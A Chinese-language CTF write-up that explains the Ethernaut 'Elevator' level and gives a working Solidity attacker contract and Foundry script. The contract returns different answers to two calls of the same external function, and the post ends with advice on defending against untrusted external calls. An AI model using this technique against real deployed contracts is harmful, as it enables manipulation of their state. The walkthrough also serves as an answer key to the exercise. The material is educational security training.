【Ethernaut x Foundry】Level 11-Elevator 答案解說

tanner.dev
6 min readMar 15, 2024

--

Figure 1: https://ethernaut.openzeppelin.com/level/0x6DcE47e94Fa22F8E2d8A7FDf538602B1F86aBFd2

錯誤運用 External Call 比電梯沒電更可怕

看完這篇你會學到:

  1. External Call 的安全性

題目

此次目標是讓關卡合約的電梯能順利到達頂樓。

Figure 2: Elevator 題目

合約程式碼如下:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Building {
function isLastFloor(uint) external returns (bool);
}


contract Elevator {
bool public top;
uint public floor;

function goTo(uint _floor) public {
Building building = Building(msg.sender);

if (! building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
}

解說

先來看一下電梯合約怎麼運作,合約的 storage variable 有兩個: bool topuint floor 分別代表是否到達頂樓和目前樓層,且只有一個 public function goTo(uint _floor),其中會將 msg.sender 轉換為 Building 合約實例,接著進入 if 判斷並呼叫 buildingisLastFloor(),若 if 判斷條件為真,則會把 _floor 寫進 floor,以及第二次呼叫 isLastFloor() 並把回傳值寫入 top。這時應該會好奇呼叫 isLastFloor() 到底在幹嘛?

其實當我們在呼叫 buildingisLastFloor() 時,等同於對 msg.sender 這個地址呼叫是否存在 function selector 符合 isLastFloor() 的函式,但 msg.sender 地址如果是 EOA,不可能存在任何 function selector,因此 msg.sender 必須也只能是合約地址,且合約有實作 isLastFloor()

isLastFloor() 該實作什麼功能?答案是:沒有限制,不過從名稱上來看,正常功能應該是檢查 input 參數 _floor 是否為最後樓層 (頂樓),是的話回傳 True,反之 False。但有趣的是,如果 isLastFloor() 的功能真的如上所述,那在 goTo() 裡的邏輯卻讓我們永遠無法把 top 變成 Ture (都是那 if 條件害的),也就代表無法讓電梯到達頂樓!

換句話說,這關考點在於你要如何設計 isLastFloor() 讓電梯有辦法到達頂樓。你可以從 “呼叫同一個 External Function 兩次卻能取得不一樣的回傳結果” 這個角度出發來思考攻擊手法。舉例來說,我的思路是利用一個 counter 來記住 external function 被 call 了幾次,如果 counter 的次數超過 1,則返回不一樣的結果。或者你也可以利用 top = !top 將布林值反轉後再回傳 top,很多做法都能取得不一樣的回傳結果。以下為我的攻擊合約:

// src/11-ElevatorAttacker.sol

interface IElevator {
function goTo(uint _floor) external;
}

contract ElevatorAttacker {
address public challengeInstance;
uint counter = 1;

constructor(address _challengeInstance) {
challengeInstance = _challengeInstance;
}

function isLastFloor(uint _floor) external returns (bool) {
if (counter < 2) {
counter++;
return false;
} else {
return true;
}
}

function attack() external {
IElevator(challengeInstance).goTo(99);
}
}

這題 script 沒有特別之處。

// script/solutions/11-Elevator.s.sol

contract ElevatorSolution is Script, EthernautHelper {
...

function run() public {
...

// YOUR SOLUTION HERE
ElevatorAttacker elevatorAttacker = new ElevatorAttacker(challengeInstance);
elevatorAttacker.attack();

...
}
}

透過這關,我們知道了當你在call 外部合約的函式時,應該儘量避免本身的合約依賴於外部合約的狀態,尤其當它是 public / external function 更危險,因為我們無法確保外部合約在執行過程中是否會修改哪些狀態和做出意料之外的事。

即便今天呼叫的函式是一個 view / pure function 也要小心,雖然 view / pure 僅限於讀取狀態或進行運算,不會對合約的狀態進行任何修改,但還是有辦法做到 “呼叫同一個 View / Pure Function 兩次卻取得不一樣的回傳結果” 這件事情。前陣子在上相關培訓課程時剛好遇到這樣的題目,它就是利用 gasleft() 這個函式,根據目前剩餘 gas 數量多寡來判斷合約的回傳值應該是多少。因此,除了 public / external function,同樣要記得 View / Pure Function 回傳值有可能取得不一樣的結果

綜上所述,要解決 External Call 帶來的安全性問題,最根本的作法還是降低其使用次數,如果合約一定要 call 外部合約,也務必確認是受信任的合約。還有,一定要對回傳值進行檢查,測試呼叫成功或失敗對自身合約的影響,最後則是在前幾篇文章有提到的方法,像是使用 CEI 模式、重入鎖、權限管理…等等,以盡可能避免漏洞或攻擊發生。

參考連結

--

--

tanner.dev

Blockchain Dev | Smart Contract Security | Day 1 in CTF | HODL & BUIDL & BEHODL